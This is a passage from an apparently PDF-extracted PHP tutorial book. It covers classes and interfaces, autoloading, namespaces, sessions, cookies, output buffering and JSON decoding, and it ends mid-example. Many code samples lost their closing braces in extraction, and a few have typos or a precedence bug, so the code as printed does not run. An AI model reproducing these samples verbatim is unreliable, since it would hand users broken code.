extends. The main difference is that multiple inheritance is allowed for interfaces:

interface Foo {

interface Bar {

interface Baz extends Foo, Bar {

Examples

In the example bellow we have a simple example interface for a vehicle. Vehicles can go forwards and
backwards.

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interface VehicleInterface {

public function forward();

public function reverse();

...

class Bike implements VehicleInterface {

public function forward() {

$this->pedal();

public function reverse() {

$this->backwardSteps();

protected function pedal() {

...

protected function backwardSteps() {

...

...

class Car implements VehicleInterface {

protected $gear = 'N';

public function forward() {

$this->setGear(1);

$this->pushPedal();

public function reverse() {

$this->setGear('R');

$this->pushPedal();

protected function setGear($gear) {

$this->gear = $gear;

protected function pushPedal() {

...
}

...

Then we create two classes that implement the interface: Bike and Car. Bike and Car internally are very
different,

but both are vehicles, and must implement the same public methods that VehicleInterface provides.

Typehinting allows methods and functions to request Interfaces. Let's assume that we have a parking
garage class,

which contains vehicles of all kinds.

class ParkingGarage {

protected $vehicles = [];

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public function addVehicle(VehicleInterface $vehicle) {

$this->vehicles[] = $vehicle;

Because addVehicle requires a $vehicle of type VehicleInterface—not a concrete implementation—we

can

input both Bikes and Cars, which the ParkingGarage can manipulate and use.

Section 26.7: Final Keyword

Def: Final Keyword prevents child classes from overriding a method by prefixing the definition with
final. If the class

itself is being defined final then it cannot be extended

Final Method

class BaseClass {

public function test() {

echo "BaseClass::test() called\n";

}

final public function moreTesting() {

echo "BaseClass::moreTesting() called\n";

class ChildClass extends BaseClass {

public function moreTesting() {

echo "ChildClass::moreTesting() called\n";

// Results in Fatal error: Cannot override final method BaseClass::moreTesting()

Final Class:

final class BaseClass {

public function test() {

echo "BaseClass::test() called\n";

// Here it doesn't matter if you specify the function as final or not

final public function moreTesting() {

echo "BaseClass::moreTesting() called\n";

class ChildClass extends BaseClass {

// Results in Fatal error: Class ChildClass may not inherit from final class (BaseClass)
Final constants: Unlike Java, the final keyword is not used for class constants in PHP. Use the keyword
const

instead.

Why do I have to use final?

1. Preventing massive inheritance chain of doom

2. Encouraging composition

3. Force the developer to think about user public API

4. Force the developer to shrink an object's public API

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5. A final class can always be made extensible

6. extends breaks encapsulation

7. You don't need that flexibility

8. You are free to change the code

When to avoid final: Final classes only work effectively under following assumptions:

1. There is an abstraction (interface) that the final class implements

2. All of the public API of the final class is part of that interface

Section 26.8: Autoloading

Nobody wants to require or include every time a class or inheritance is used. Because it can be painful
and is easy

to forget, PHP is offering so called autoloading. If you are already using Composer, read about
autoloading using

Composer.

What exactly is autoloading?

The name basically says it all. You do not have to get the file where the requested class is stored in, but
PHP

automatically loads it.

How can I do this in basic PHP without third party code?

There is the function __autoload, but it is considered better practice to use spl_autoload_register.
These

functions will be considered by PHP every time a class is not defined within the given space. So adding
autoload to

an existing project is no problem, as defined classes (via require i.e.) will work like before. For the sake
of

preciseness, the following examples will use anonymous functions, if you use PHP < 5.3, you can
define the function

and pass it's name as argument to spl_autoload_register.

Examples

spl_autoload_register(function ($className) {

$path = sprintf('%s.php', $className);

if (file_exists($path)) {

include $path;

} else {

// file not found

});

The code above simply tries to include a filename with the class name and the appended extension
".php" using

sprintf. If FooBar needs to be loaded, it looks if FooBar.php exists and if so includes it.

Of course this can be extended to fit the project's individual need. If _ inside a class name is used to
group, e.g.

User_Post and User_Image both refer to User, both classes can be kept in a folder called "User" like so:

spl_autoload_register(function ($className) {

// replace _ by / or \ (depending on OS)

$path = sprintf('%s.php', str_replace('_', DIRECTORY_SEPARATOR, $className) );

if (file_exists($path)) {
include $path;

} else {

// file not found

});

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The class User_Post will now be loaded from "User/Post.php", etc.

spl_autoload_register can be tailored to various needs. All your files with classes are named

"class.CLASSNAME.php"? No problem. Various nesting (User_Post_Content =>

"User/Post/Content.php")? No

problem either.

If you want a more elaborate autoloading mechanism - and still don't want to include Composer - you
can work

without adding third party libraries.

spl_autoload_register(function ($className) {

$path = sprintf('%1$s%2$s%3$s.php',

// %1$s: get absolute path

realpath(dirname(__FILE__)),

// %2$s: / or \ (depending on OS)

DIRECTORY_SEPARATOR,

// %3$s: don't wory about caps or not when creating the files

strtolower(

// replace _ by / or \ (depending on OS)

str_replace('_', DIRECTORY_SEPARATOR, $className)

);
if (file_exists($path)) {

include $path;

} else {

throw new Exception(

sprintf('Class with name %1$s not found. Looked in %2$s.',

$className,

$path

);

});

Using autoloaders like this, you can happily write code like this:

require_once './autoload.php'; // where spl_autoload_register is defined

$foo = new Foo_Bar(new Hello_World());

Using classes:

class Foo_Bar extends Foo {}

class Hello_World implements Demo_Classes {}

These examples will be include classes from foo/bar.php, foo.php, hello/world.php and
demo/classes.php.

Section 26.9: Calling a parent constructor when instantiating

a child

A common pitfall of child classes is that, if your parent and child both contain a
constructor(__construct())

method, only the child class constructor will run. There may be occasions where you need to run the
parent

__construct() method from it's child. If you need to do that, then you will need to use the parent::
scope
resolutor:

parent::__construct();

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Now harnessing that within a real-world situation would look something like:

class Foo {

function __construct($args) {

echo 'parent';

class Bar extends Foo {

function __construct($args) {

parent::__construct($args);

The above will run the parent __construct() resulting in the echo being run.

Section 26.10: Dynamic Binding

Dynamic binding, also referred as method overriding is an example of run time polymorphism that
occurs when

multiple classes contain different implementations of the same method, but the object that the
method will be

called on is unknown until run time.

This is useful if a certain condition dictates which class will be used to perform an action, where the
action is named

the same in both classes.

interface Animal {

public function makeNoise();

}
class Cat implements Animal {

public function makeNoise

$this->meow();

...

class Dog implements Animal {

public function makeNoise {

$this->bark();

...

class Person {

const CAT = 'cat';

const DOG = 'dog';

private $petPreference;

private $pet;

public function isCatLover(): bool {

return $this->petPreference == self::CAT;

public function isDogLover(): bool {

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return $this->petPreference == self::DOG;

}
public function setPet(Animal $pet) {

$this->pet = $pet;

public function getPet(): Animal {

return $this->pet;

if($person->isCatLover()) {

$person->setPet(new Cat());

} else if($person->isDogLover()) {

$person->setPet(new Dog());

$person->getPet()->makeNoise();

In the above example, the Animal class (Dog|Cat) which will makeNoise is unknown until run time
depending on the

property within the User class.

Section 26.11: $this, self and static plus the singleton

Use $this to refer to the current object. Use self to refer to the current class. In other words, use

$this->member for non-static members, use self::$member for static members.

In the example below, sayHello() and sayGoodbye() are using self and $this difference can be observed
here.

class Person {

private $name;

public function __construct($name) {

$this->name = $name;

}
public function getName() {

return $this->name;

public function getTitle() {

return $this->getName()." the person";

public function sayHello() {

echo "Hello, I'm ".$this->getTitle()."<br/>";

public function sayGoodbye() {

echo "Goodbye from ".self::getTitle()."<br/>";

class Geek extends Person {

public function __construct($name) {

parent::__construct($name);

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public function getTitle() {

return $this->getName()." the geek";

$geekObj = new Geek("Ludwig");

$geekObj->sayHello();

$geekObj->sayGoodbye();
static refers to whatever class in the hierarchy you called the method on. It allows for better reuse of
static class

properties when classes are inherited.

Consider the following code:

class Car {

protected static $brand = 'unknown';

public static function brand() {

return self::$brand."\n";

class Mercedes extends Car {

protected static $brand = 'Mercedes';

class BMW extends Car {

protected static $brand = 'BMW';

echo (new Car)->brand();

echo (new BMW)->brand();

echo (new Mercedes)->brand();

This doesn't produce the result you want:

unknown

unknown

unknown

That's because self refers to the Car class whenever method brand() is called.

To refer to the correct class, you need to use static instead:

class Car {

protected static $brand = 'unknown';

public static function brand() {

return static::$brand."\n";

class Mercedes extends Car {

protected static $brand = 'Mercedes';

class BMW extends Car {

protected static $brand = 'BMW';

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echo (new Car)->brand();

echo (new BMW)->brand();

echo (new Mercedes)->brand();

This does produce the desired output:

unknown

BMW

Mercedes

See also Late static binding

The singleton

If you have an object that's expensive to create or represents a connection to some external resource
you want to

reuse, i.e. a database connection where there is no connection pooling or a socket to some other
system, you can

use the static and self keywords in a class to make it a singleton. There are strong opinions about
whether the

singleton pattern should or should not be used, but it does have its uses.

class Singleton {

private static $instance = null;

public static function getInstance(){

if(!isset(self::$instance)){

self::$instance = new self();

return self::$instance;

private function __construct() {

// Do constructor stuff

As you can see in the example code we are defining a private static property $instance to hold the
object

reference. Since this is static this reference is shared across ALL objects of this type.

The getInstance()method uses a method know as lazy instantiation to delay creating the object to the
last

possible moment as you do not want to have unused objects lying around in memory never intended
to be used. It

also saves time and CPU on page load not having to load more objects than necessary. The method is
checking if
the object is set, creating it if not, and returning it. This ensures that only one object of this kind is
ever created.

We are also setting the constructor to be private to ensure that no one creates it with the new
keyword from the

outside. If you need to inherit from this class just change the private keywords to protected.

To use this object you just write the following:

$singleton = Singleton::getInstance();

Now I DO implore you to use dependency injection where you can and aim for loosely coupled
objects, but

sometimes that is just not reasonable and the singleton pattern can be of use.

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Section 26.12: Defining a Basic Class

An object in PHP contains variables and functions. Objects typically belong to a class, which defines
the variables

and functions that all objects of this class will contain.

The syntax to define a class is:

class Shape {

public $sides = 0;

public function description() {

return "A shape with $this->sides sides.";

Once a class is defined, you can create an instance using:

$myShape = new Shape();

Variables and functions on the object are accessed like this:

$myShape = new Shape();

$myShape->sides = 6;

print $myShape->description(); // "A shape with 6 sides"

Constructor

Classes can define a special __construct() method, which is executed as part of object creation. This is
often used

to specify the initial values of an object:

class Shape {

public $sides = 0;

public function __construct($sides) {

$this->sides = $sides;

public function description() {

return "A shape with $this->sides sides.";

$myShape = new Shape(6);

print $myShape->description(); // A shape with 6 sides

Extending Another Class

Class definitions can extend existing class definitions, adding new variables and functions as well as
modifying

those defined in the parent class.

Here is a class that extends the previous example:

class Square extends Shape {

public $sideLength = 0;
public function __construct($sideLength) {

parent::__construct(4);

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$this->sideLength = $sideLength;

public function perimeter() {

return $this->sides * $this->sideLength;

public function area() {

return $this->sideLength * $this->sideLength;

The Square class contains variables and behavior for both the Shape class and the Square class:

$mySquare = new Square(10);

print $mySquare->description()/ // A shape with 4 sides

print $mySquare->perimeter() // 40

print $mySquare->area() // 100

Section 26.13: Anonymous Classes

Anonymous classes were introduced into PHP 7 to enable for quick one-off objects to be easily
created. They can

take constructor arguments, extend other classes, implement interfaces, and use traits just like normal
classes can.

In its most basic form, an anonymous class looks like the following:
new class("constructor argument") {

public function __construct($param) {

var_dump($param);

}; // string(20) "constructor argument"

Nesting an anonymous class inside of another class does not give it access to private or protected
methods or

properties of that outer class. Access to protected methods and properties of the outer class can be
gained by

extending the outer class from the anonymous class. Access to private properties of the outer class
can be gained

by passing them through to the anonymous class's constructor.

For example:

class Outer {

private $prop = 1;

protected $prop2 = 2;

protected function func1() {

return 3;

public function func2() {

// passing through the private $this->prop property

return new class($this->prop) extends Outer {

private $prop3;

public function __construct($prop) {

$this->prop3 = $prop;

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}
public function func3() {

// accessing the protected property Outer::$prop2

// accessing the protected method Outer::func1()

// accessing the local property self::$prop3 that was private from Outer::$prop

return $this->prop2 + $this->func1() + $this->prop3;

};

echo (new Outer)->func2()->func3(); // 6

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Chapter 27: Namespaces

Section 27.1: Declaring namespaces

A namespace declaration can look as follows:

namespace MyProject; - Declare the namespace MyProject

namespace MyProject\Security\Cryptography; - Declare a nested namespace

namespace MyProject { ... } - Declare a namespace with enclosing brackets.

It is recommended to only declare a single namespace per file, even though you can declare as many
as you like in

a single file:

namespace First {

class A { ... }; // Define class A in the namespace First.

namespace Second {

class B { ... }; // Define class B in the namespace Second.

}
namespace {

class C { ... }; // Define class C in the root namespace.

Every time you declare a namespace, classes you define after that will belong to that namespace:

namespace MyProject\Shapes;

class Rectangle { ... }

class Square { ... }

class Circle { ... }

A namespace declaration can be used multiple times in different files. The example above defined
three classes in

the MyProject\Shapes namespace in a single file. Preferably this would be split up into three files,
each starting

with namespace MyProject\Shapes;. This is explained in more detail in the PSR-4 standard example.

Section 27.2: Referencing a class or function in a namespace

As shown in Declaring Namespaces, we can define a class in a namespace as follows:

namespace MyProject\Shapes;

class Rectangle { ... }

To reference this class the full path (including the namespace) needs to be used:

$rectangle = new MyProject\Shapes\Rectangle();

This can be shortened by importing the class via the use-statement:

// Rectangle becomes an alias to MyProject\Shapes\Rectangle

use MyProject\Shapes\Rectangle;

$rectangle = new Rectangle();

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As for PHP 7.0 you can group various use-statements in one single statement using brackets:

use MyProject\Shapes\{
Rectangle, //Same as `use MyProject\Shapes\Rectangle`

Circle, //Same as `use MyProject\Shapes\Circle`

Triangle, //Same as `use MyProject\Shapes\Triangle`

Polygon\FiveSides, //You can also import sub-namespaces

Polygon\SixSides //In a grouped `use`-statement

};

$rectangle = new Rectangle();

Sometimes two classes have the same name. This is not a problem if they are in a different
namespace, but it could

become a problem when attempting to import them with the use-statement:

use MyProject\Shapes\Oval;

use MyProject\Languages\Oval; // Apparantly Oval is also a language!

// Error!

This can be solved by defining a name for the alias yourself using the as keyword:

use MyProject\Shapes\Oval as OvalShape;

use MyProject\Languages\Oval as OvalLanguage;

To reference a class outside the current namespace, it has to be escaped with a \, otherwise a relative
namespace

path is assumed from the current namespace:

namespace MyProject\Shapes;

// References MyProject\Shapes\Rectangle. Correct!

$a = new Rectangle();

// References MyProject\Shapes\Rectangle. Correct, but unneeded!

$a = new \MyProject\Shapes\Rectangle();

// References MyProject\Shapes\MyProject\Shapes\Rectangle. Incorrect!

$a = new MyProject\Shapes\Rectangle();

// Referencing StdClass from within a namespace requires a \ prefix

// since it is not defined in a namespace, meaning it is global.

// References StdClass. Correct!

$a = new \StdClass();

// References MyProject\Shapes\StdClass. Incorrect!

$a = new StdClass();

Section 27.3: Declaring sub-namespaces

To declare a single namespace with hierarchy use following example:

namespace MyProject\Sub\Level;

const CONNECT_OK = 1;

class Connection { /* ... */ }

GoalKicker.com – PHP Notes for Professionals 164

function connect() { /* ... */ }

The above example creates:

constant MyProject\Sub\Level\CONNECT_OK

class MyProject\Sub\Level\Connection and

function MyProject\Sub\Level\connect

Section 27.4: What are Namespaces?

The PHP community has a lot of developers creating lots of code. This means that one library’s PHP
code may use

the same class name as another library. When both libraries are used in the same namespace, they
collide and

cause trouble.

Namespaces solve this problem. As described in the PHP reference manual, namespaces may be
compared to

operating system directories that namespace files; two files with the same name may co-exist in
separate

directories. Likewise, two PHP classes with the same name may co-exist in separate PHP namespaces.

It is important for you to namespace your code so that it may be used by other developers without
fear of colliding

with other libraries.

GoalKicker.com – PHP Notes for Professionals 165

Chapter 28: Sessions

Section 28.1: session_start() Options

Starting with PHP Sessions we can pass an array with session-based php.ini options to the
session_start

function.

Example

<?php

if (version_compare(PHP_VERSION, '7.0.0') >= 0) {

// php >= 7 version

session_start([

'cache_limiter' => 'private',

'read_and_close' => true,

]);

} else {

// php < 7 version

session_start();

?>

This feature also introduces a new php.ini setting named session.lazy_write, which defaults to true
and means

that session data is only rewritten, if it changes.

Referencing: https://wiki.php.net/rfc/session-lock-ini

Section 28.2: Session Locking

As we all are aware that PHP writes session data into a file at server side. When a request is made to
php script

which starts the session via session_start(), PHP locks this session file resulting to block/wait other
incoming

requests for same session_id to complete, because of which the other requests will get stuck on
session_start()

until or unless the session file locked is not released

The session file remains locked until the script is completed or session is manually closed. To avoid this
situation i.e.

to prevent multiple requests getting blocked, we can start the session and close the session which will
release the lock

from session file and allow to continue the remaining requests.

// php < 7.0

// start session

session_start();

// write data to session

$_SESSION['id'] = 123; // session file is locked, so other requests are blocked

// close the session, release lock

session_write_close();

Now one will think if session is closed how we will read the session values, beautify even after session
is closed,

session is still available. So, we can still read the session data.

echo $_SESSION['id']; // will output 123

In php >= 7.0, we can have read_only session, read_write session and lazy_write session, so it may not
required

to use session_write_close()
GoalKicker.com – PHP Notes for Professionals 166

Section 28.3: Manipulating session data

The $_SESSION variable is an array, and you can retrieve or manipulate it like a normal array.

<?php

// Starting the session

session_start();

// Storing the value in session

$_SESSION['id'] = 342;

// conditional usage of session values that may have been set in a previous session

if(!isset($_SESSION["login"])) {

echo "Please login first";

exit;

// now you can use the login safely

$user = $_SESSION["login"];

// Getting a value from the session data, or with default value,

// using the Null Coalescing operator in PHP 7

$name = $_SESSION['name'] ?? 'Anonymous';

Also see Manipulating an Array for more reference how to work on an array.

Note that if you store an object in a session, it can be retrieved gracefully only if you have an class
autoloader or

you have loaded the class already. Otherwise, the object will come out as the type
__PHP_Incomplete_Class, which

may later lead to crashes. See Namespacing and Autoloading about autoloading.

Warning:

Session data can be hijacked. This is outlined in: Pro PHP Security: From Application Security Principles
to the
Implementation of XSS Defense - Chapter 7: Preventing Session Hijacking So it can be strongly
recommended to never

store any personal information in $_SESSION. This would most critically include credit card numbers,
government

issued ids, and passwords; but would also extend into less assuming data like names, emails, phone
numbers,

etc which would allow a hacker to impersonate/compromise a legitimate user. As a general rule, use
worthless/nonpersonal values, such as numerical identifiers, in session data.

Section 28.4: Destroy an entire session

If you've got a session which you wish to destroy, you can do this with session_destroy()

/*

Let us assume that our session looks like this:

Array([firstname] => Jon, [id] => 123)

We first need to start our session:

*/

session_start();

/*

We can now remove all the values from the `SESSION` superglobal:

If you omitted this step all of the global variables stored in the

superglobal would still exist even though the session had been destroyed.

*/

$_SESSION = array();

// If it's desired to kill the session, also delete the session cookie.

GoalKicker.com – PHP Notes for Professionals 167

// Note: This will destroy the session, and not just the session data!

if (ini_get("session.use_cookies")) {

$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,

$params["path"], $params["domain"],

$params["secure"], $params["httponly"]

);

//Finally we can destroy the session:

session_destroy();

Using session_destroy() is different to using something like $_SESSION = array(); which will remove all
of the

values stored in the SESSION superglobal but it will not destroy the actual stored version of the
session.

Note: We use $_SESSION = array(); instead of session_unset() because the manual stipulates:

Only use session_unset() for older deprecated code that does not use $_SESSION.

Section 28.5: Safe Session Start With no Errors

Many developers have this problem when they work on huge projects, especially if they work on some
modular

CMS on plugins, addons, components etc. Here is solution for safe session start where if first checked
PHP version

to cover all versions and on next is checked if session is started. If session not exists then I start session
safe. If

session exists nothing happen.

if (version_compare(PHP_VERSION, '7.0.0') >= 0) {

if(session_status() == PHP_SESSION_NONE) {

session_start(array(

'cache_limiter' => 'private',

'read_and_close' => true,

));
}

else if (version_compare(PHP_VERSION, '5.4.0') >= 0)

if (session_status() == PHP_SESSION_NONE) {

session_start();

else

if(session_id() == '') {

session_start();

This can help you a lot to avoid session_start error.

Section 28.6: Session name

Checking if session cookies have been created

Session name is the name of the cookie used to store sessions. You can use this to detect if cookies for
a session

have been created for the user:

GoalKicker.com – PHP Notes for Professionals 168

if(isset($_COOKIE[session_name()])) {

session_start();

Note that this method is generally not useful unless you really don't want to create cookies
unnecessarily.
Changing session name

You can update the session name by calling session_name().

//Set the session name

session_name('newname');

//Start the session

session_start();

If no argument is provided into session_name() then the current session name is returned.

It should contain only alphanumeric characters; it should be short and descriptive (i.e. for users with

enabled cookie warnings). The session name can't consist of digits only, at least one letter must be

present. Otherwise a new session id is generated every time.

GoalKicker.com – PHP Notes for Professionals 169

Chapter 29: Cookies

parameter detail

name

The name of the cookie. This is also the key you can use to retrieve the value from the $_COOKIE super

global. This is the only required parameter

value The value to store in the cookie. This data is accessible to the browser so don't store anything
sensitive

here.

expire

A Unix timestamp representing when the cookie should expire. If set to zero the cookie will expire at

the end of the session. If set to a number less than the current Unix timestamp the cookie will expire

immediately.

path

The scope of the cookie. If set to / the cookie will be available within the entire domain. If set to
/somepath/ then the cookie will only be available in that path and descendants of that path. Defaults
to the
current path of the file that the cookie is being set in.

domain

The domain or subdomain the cookie is available on. If set to the bare domain stackoverflow.com

then the cookie will be available to that domain and all subdomains. If set to a subdomain

meta.stackoverflow.com then the cookie will be available only on that subdomain, and all
subsubdomains.

secure

When set to TRUE the cookie will only be set if a secure HTTPS connection exists between the client
and

the server.

httponly Specifies that the cookie should only be made available through the HTTP/S protocol and
should not

be available to client side scripting languages like JavaScript. Only available in PHP 5.2 or later.

An HTTP cookie is a small piece of data sent from a website and stored on the user's computer by the
user's web

browser while the user is browsing.

Section 29.1: Modifying a Cookie

The value of a cookie can be modified by resetting the cookie

setcookie("user", "John", time() + 86400, "/"); // assuming there is a "user" cookie already

Cookies are part of the HTTP header, so setcookie() must be called before any output is sent to the

browser.

When modifying a cookie make sure the path and domain parameters of setcookie() matches the

existing cookie or a new cookie will be created instead.

The value portion of the cookie will automatically be urlencoded when you send the cookie, and when
it is

received, it is automatically decoded and assigned to a variable by the same name as the cookie name

Section 29.2: Setting a Cookie

A cookie is set using the setcookie() function. Since cookies are part of the HTTP header, you must set
any cookies

before sending any output to the browser.

Example:

setcookie("user", "Tom", time() + 86400, "/"); // check syntax for function params

GoalKicker.com – PHP Notes for Professionals 170

Description:

Creates a cookie with name user

(Optional) Value of the cookie is Tom

(Optional) Cookie will expire in 1 day (86400 seconds)

(Optional) Cookie is available throughout the whole website /

(Optional) Cookie is only sent over HTTPS

(Optional) Cookie is not accessible to scripting languages such as JavaScript

A created or modified cookie can only be accessed on subsequent requests (where path and domain

matches) as the superglobal $_COOKIEis not populated with the new data immediately.

Section 29.3: Checking if a Cookie is Set

Use the isset() function upon the superglobal $_COOKIE variable to check if a cookie is set.

Example:

// PHP <7.0

if (isset($_COOKIE['user'])) {

// true, cookie is set

echo 'User is ' . $_COOKIE['user'];

else {

// false, cookie is not set

echo 'User is not logged in';

}
// PHP 7.0+

echo 'User is ' . $_COOKIE['user'] ?? 'User is not logged in';

Section 29.4: Removing a Cookie

To remove a cookie, set the expiry timestamp to a time in the past. This triggers the browser's removal
mechanism:

setcookie('user', '', time() - 3600, '/');

When deleting a cookie make sure the path and domain parameters of setcookie() matches the cookie

you're trying to delete or a new cookie, which expires immediately, will be created.

It is also a good idea to unset the $_COOKIE value in case the current page uses it:

unset($_COOKIE['user']);

Section 29.5: Retrieving a Cookie

Retrieve and Output a Cookie Named user

The value of a cookie can be retrieved using the global variable $_COOKIE. example if we have a
cookie named user

we can retrieve it like this

echo $_COOKIE['user'];

GoalKicker.com – PHP Notes for Professionals 171

Chapter 30: Output Buering

Function Details

ob_start() Starts the output buffer, any output placed after this will be captured and not displayed

ob_get_contents() Returns all content captured by ob_start()

ob_end_clean() Empties the output buffer and turns it off for the current nesting level

ob_get_clean() Triggers both ob_get_contents() and ob_end_clean()

ob_get_level() Returns the current nesting level of the output buffer

ob_flush() Flush the content buffer and send it to the browser without ending the buffer

ob_implicit_flush() Enables implicit flushing after every output call.

ob_end_flush() Flush the content buffer and send it to the browser also ending the buffer

Section 30.1: Basic usage getting content between buers

and clearing

Output buffering allows you to store any textual content (Text, HTML) in a variable and send to the
browser as one

piece at the end of your script. By default, php sends your content as it interprets it.

<?php

// Turn on output buffering

ob_start();

// Print some output to the buffer (via php)

print 'Hello ';

// You can also `step out` of PHP

?>

<em>World</em>

<?php

// Return the buffer AND clear it

$content = ob_get_clean();

// Return our buffer and then clear it

# $content = ob_get_contents();

# $did_clear_buffer = ob_end_clean();

print($content);

#> "Hello <em>World</em>"

Any content outputted between ob_start() and ob_get_clean() will be captured and placed into the
variable

$content.

Calling ob_get_clean() triggers both ob_get_contents() and ob_end_clean().

Section 30.2: Processing the buer via a callback

You can apply any kind of additional processing to the output by passing a callable to ob_start().

<?php

function clearAllWhiteSpace($buffer) {

return str_replace(array("\n", "\t", ' '), '', $buffer);

GoalKicker.com – PHP Notes for Professionals 172

ob_start('clearAllWhiteSpace');

?>

<h1>Lorem Ipsum</h1>

<p><strong>Pellentesque habitant morbi tristique</strong> senectus et netus et malesuada fames ac

turpis egestas. <a href="#">Donec non enim</a> in turpis pulvinar facilisis.</p>

<h2>Header Level 2</h2>

<ol>

<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</li>

<li>Aliquam tincidunt mauris eu risus.</li>

</ol>

<?php

/* Output will be flushed and processed when script ends or call

ob_end_flush();

*/

Output:

<h1>LoremIpsum</h1><p><strong>Pellentesquehabitantmorbitristique</
strong>senectusetnetusetmalesuada

famesacturpisegestas.<ahref="#">Donecnonenim</a>inturpispulvinarfacilisis.</
p><h2>HeaderLevel2</h2>
<ol><li>Loremipsumdolorsitamet,consectetueradipiscingelit.</
li><li>Aliquamtinciduntmauriseurisus.</

li></ol>

Section 30.3: Nested output buers

You can nest output buffers and fetch the level for them to provide different content using the
ob_get_level()

function.

<?php

$i = 1;

$output = null;

while( $i <= 5 ) {

// Each loop, creates a new output buffering `level`

ob_start();

print "Current nest level: ". ob_get_level() . "\n";

$i++;

// We're at level 5 now

print 'Ended up at level: ' . ob_get_level() . PHP_EOL;

// Get clean will `pop` the contents of the top most level (5)

$output .= ob_get_clean();

print $output;

print 'Popped level 5, so we now start from 4' . PHP_EOL;

// We're now at level 4 (we pop'ed off 5 above)

// For each level we went up, come back down and get the buffer

while( $i > 2 ) {

print "Current nest level: " . ob_get_level() . "\n";

echo ob_get_clean();

$i--;

GoalKicker.com – PHP Notes for Professionals 173

Outputs:

Current nest level: 1

Current nest level: 2

Current nest level: 3

Current nest level: 4

Current nest level: 5

Ended up at level: 5

Popped level 5, so we now start from 4

Current nest level: 4

Current nest level: 3

Current nest level: 2

Current nest level: 1

Section 30.4: Running output buer before any content

ob_start();

$user_count = 0;

foreach( $users as $user ) {

if( $user['access'] != 7 ) { continue; }

?>

<li class="users user-<?php echo $user['id']; ?>">

<a href="<?php echo $user['link']; ?>">

<?php echo $user['name'] ?>

</a>

</li>

<?php

$user_count++;

$users_html = ob_get_clean();

if( !$user_count ) {

header('Location: /404.php');

exit();

?>

<html>

<head>

<title>Level 7 user results (<?php echo $user_count; ?>)</title>

</head>

<body>

<h2>We have a total of <?php echo $user_count; ?> users with access level 7</h2>

<ul class="user-list">

<?php echo $users_html; ?>

</ul>

</body>

</html>

In this example we assume $users to be a multidimensional array, and we loop through it to find all
users with an

access level of 7.

If there are no results, we redirect to an error page.

We are using the output buffer here because we are triggering a header() redirect based on the result
of the loop

GoalKicker.com – PHP Notes for Professionals 174

Section 30.5: Stream output to client

/**

* Enables output buffer streaming. Calling this function

* immediately flushes the buffer to the client, and any

* subsequent output will be sent directly to the client.

*/

function _stream() {

ob_implicit_flush(true);

ob_end_flush();

Section 30.6: Using Output buer to store contents in a file,

useful for reports, invoices etc

<?php

ob_start();

?>

<html>

<head>

<title>Example invoice</title>

</head>

<body>

<h1>Invoice #0000</h1>

<h2>Cost: &pound;15,000</h2>

...
</body>

</html>

<?php

$html = ob_get_clean();

$handle = fopen('invoices/example-invoice.html', 'w');

fwrite($handle, $html);

fclose($handle);

This example takes the complete document, and writes it to file, it does not output the document into
the browser,

but do by using echo $html;

Section 30.7: Typical usage and reasons for using ob_start

ob_start is especially handy when you have redirections on your page. For example, the following
code won't work:

Hello!

<?php

header("Location: somepage.php");

?>

The error that will be given is something like: headers already sent by <xxx> on line <xxx>.

In order to fix this problem, you would write something like this at the start of your page:

<?php

ob_start();

?>

And something like this at the end of your page:

GoalKicker.com – PHP Notes for Professionals 175

<?php

ob_end_flush();
?>

This stores all generated content into an output buffer, and displays it in one go. Hence, if you have
any redirection

calls on your page, those will trigger before any data is sent, removing the possibility of a headers
already sent

error occurring.

Section 30.8: Capturing the output buer to re-use later

In this example, we have an array containing some data.

We capture the output buffer in $items_li_html and use it twice in the page.

<?php

// Start capturing the output

ob_start();

$items = ['Home', 'Blog', 'FAQ', 'Contact'];

foreach($items as $item):

// Note we're about to step "out of PHP land"

?>

<li><?php echo $item ?></li>

<?php

// Back in PHP land

endforeach;

// $items_lists contains all the HTML captured by the output buffer

$items_li_html = ob_get_clean();

?>

<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->

<ul class="header-nav">

<?php echo $items_li_html ?>

</ul>

<!-- Menu 2 -->

<ul class="footer-nav">

<?php echo $items_li_html ?>

</ul>

Save the above code in a file output_buffer.php and run it via php output_buffer.php.

You should see the 2 list items we created above with the same list items we generated in PHP using
the output

buffer:

<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->

<ul class="header-nav">

<li>Home</li>

<li>Blog</li>

<li>FAQ</li>

<li>Contact</li>

</ul>

<!-- Menu 2 -->

<ul class="footer-nav">

GoalKicker.com – PHP Notes for Professionals 176

<li>Home</li>

<li>Blog</li>

<li>FAQ</li>

<li>Contact</li>

</ul>

GoalKicker.com – PHP Notes for Professionals 177

Chapter 31: JSON

Parameter Details

json_encode -

value The value being encoded. Can be any type except a resource. All string data must be UTF-8
encoded.

options

Bitmask consisting of JSON_HEX_QUOT, JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS,

JSON_NUMERIC_CHECK, JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, JSON_FORCE_OBJECT,

JSON_PRESERVE_ZERO_FRACTION, JSON_UNESCAPED_UNICODE,
JSON_PARTIAL_OUTPUT_ON_ERROR.

The behaviour of these constants is described on the JSON constants page.

depth Set the maximum depth. Must be greater than zero.

json_decode -

json The json string being decoded. This function only works with UTF-8 encoded strings.

assoc Should function return associative array instead of objects.

options Bitmask of JSON decode options. Currently only JSON_BIGINT_AS_STRING is supported

(default is to

cast large integers as floats)

JSON (JavaScript Object Notation) is a platform and language independent way of serializing objects
into plaintext.

Because it is often used on web and so is PHP, there is a basic extension for working with JSON in PHP.

Section 31.1: Decoding a JSON string

The json_decode() function takes a JSON-encoded string as its first parameter and parses it into a PHP
variable.

Normally, json_decode() will return an object of \stdClass if the top level item in the JSON object is a
dictionary or

an indexed array if the JSON object is an array. It will also return scalar values or NULL for certain
scalar values,

such as simple strings, "true", "false", and "null". It also returns NULL on any error.
// Returns an object (The top level item in the JSON string is a JSON dictionary)

$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';

$object = json_decode($json_string);

printf('Hello %s, You are %s years old.', $object->name, $object->age);

#> Hello Jeff, You are 20 years old.

// Returns an array (The top level item in the JSON string is a JSON array)

$json_string = '["Jeff", 20, true, ["red", "blue"]]';

$array = json_decode($json_string);

printf('Hello %s, You are %s years old.', $array[0], $array[1]);

Use var_dump() to view the types and values of each property on the object we decoded above.

// Dump our above $object to view how it was decoded

var_dump($object);

Output (note the variable types):

class stdClass#2 (4) {

["name"] => string(4) "Jeff"

["age"] => int(20)

["active"] => bool(true)

["colors"] =>

